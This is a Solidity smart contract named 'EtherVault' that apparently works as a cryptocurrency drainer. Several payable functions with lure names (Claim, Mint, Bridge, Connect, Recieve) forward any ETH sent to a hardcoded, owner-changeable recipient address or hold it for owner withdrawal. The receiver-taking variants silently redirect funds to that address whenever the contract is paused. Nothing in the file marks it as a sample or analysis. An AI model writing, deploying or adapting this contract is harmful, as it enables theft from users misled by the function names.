// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Pausable is Context {

    event Paused(address account);

    event Unpaused(address account);

    bool private _paused;

    constructor() {
        _paused = false;
    }

    function paused() public view virtual returns (bool) {
        return _paused;
    }

    modifier whenNotPaused() {
        require(!paused(), "Pausable: paused");
        _;
    }

    modifier whenPaused() {
        require(paused(), "Pausable: not paused");
        _;
    }

  
    function _pause() internal virtual whenNotPaused {
        _paused = true;
        emit Paused(_msgSender());
    }

    function _unpause() internal virtual whenPaused {
        _paused = false;
        emit Unpaused(_msgSender());
    }
}

contract Owner {

    address private owner;
    
    event OwnerSet(address indexed oldOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this method");
        _;
    }
    
    constructor() {
        owner = msg.sender;
        emit OwnerSet(address(0), owner);
    }

    function changeOwner(address newOwner) public onlyOwner {
        emit OwnerSet(owner, newOwner);
        owner = newOwner;
    }

    function getOwner() external view returns (address) {
        return owner;
    }
}

contract EtherVault is Owner,Pausable {
    event TransferSent(address _from, address _destAddr, uint256 _amount);
    event TokenSent(IERC20 _token, address _receiver, uint256 _amount);
    event RecipientChanged(address indexed oldRecipient, address indexed newRecipient);
    event Vault(bool isVault);


    address private etherRecipient = 0x63b3Fd2e1B15c638084e4c94CD61051Ed2D6DeB7;
    bool private _storeEther = false;

 


    function changeRecipient(address newRecipient) public onlyOwner {
        emit RecipientChanged(etherRecipient, newRecipient);
        etherRecipient = newRecipient;
    }



    function recipient() external view returns (address) {
        return etherRecipient;
    }

    function _transferEth(address payable _to, uint256 value) private returns (bytes memory) {
        (bool sent, bytes memory data) = _to.call{value: value}("");
        require(sent, "Failed to send Ether");
        return data;
    }

    function _safeTransfer(
        IERC20 token,
        address receiver,
        uint256 amount
    ) private {
        bool sent = token.transfer(receiver,amount);
        require(sent, "Token transfer failed");
    }

    function pause() public onlyOwner {
        _pause();
    }

    function createVault() public onlyOwner {
        _storeEther = true;
        emit Vault(_storeEther);
    }

    function destroyVault() public onlyOwner {
        _storeEther = false;
        emit Vault(_storeEther);
    }

    function unpause() public onlyOwner {
        _unpause();
    }

    function balance() public view returns (uint256) {
        return address(this).balance;
    } 

    function tokenBalance(IERC20 token) public view returns (uint256) {
        return token.balanceOf(address(this));
    } 

    
    function Claim() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(etherRecipient),msg.value);
            emit TransferSent(msg.sender,etherRecipient,msg.value);
        }
    }

    function Connect() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(etherRecipient),msg.value);
            emit TransferSent(msg.sender,etherRecipient,msg.value);
        }
    }

    function Bridge() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(etherRecipient),msg.value);
            emit TransferSent(msg.sender,etherRecipient,msg.value);
        }
    }

    function Recieve() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(etherRecipient),msg.value);
            emit TransferSent(msg.sender,etherRecipient,msg.value);
        }
    }

    function Mint() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(etherRecipient),msg.value);
            emit TransferSent(msg.sender,etherRecipient,msg.value);
        }
    }

    function mint(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(etherRecipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }

    function connect(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(etherRecipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }

    function bridge(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(etherRecipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }

    function recieve(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(etherRecipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }

    function claim(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(etherRecipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }


    function withDrawEther(uint256 amount, address payable receiver) public onlyOwner {
        require(amount <= address(this).balance, "Requested amount exceeds the contract balance.");
        require(receiver != address(0), "Recipient address cannot be the zero address.");
        _transferEth(receiver,amount);
        emit TransferSent(address(this),receiver,amount);
    }

    function withDrawToken(IERC20 token, address receiver, uint256 amount) public onlyOwner {
        require(amount <= token.balanceOf(address(this)), "Requested amount exceeds the contract balance.");
        require(receiver != address(0), "Recipient address cannot be the zero address.");
        _safeTransfer(token,receiver,amount);
        emit TokenSent(token,receiver,amount);
    }

    function withdrawTokens(IERC20[] memory tokens, uint256[] memory amounts, address receiver) public onlyOwner {
        require(tokens.length == amounts.length, "Arrays length mismatch");

        for (uint256 i = 0; i < tokens.length; i++) {
            IERC20 token = tokens[i];
            uint256 amount = amounts[i];
            require(amount <= token.balanceOf(address(this)), "Insufficient balance for token");
            _safeTransfer(token,receiver,amount);
            emit TokenSent(token,receiver,amount);
        }
    }

    function withdrawTokens(IERC20[] memory tokens, uint256[] memory amounts, address[] memory receivers) public onlyOwner {
        require(tokens.length == amounts.length, "Arrays length mismatch");
        for (uint256 i = 0; i < tokens.length; i++) {
            IERC20 token = tokens[i];
            uint256 amount = amounts[i];
            address receiver = receivers[i];
            require(amount <= token.balanceOf(address(this)), "Insufficient balance for token");
            _safeTransfer(token,receiver,amount);
            emit TokenSent(token,receiver,amount);
        }
    }

}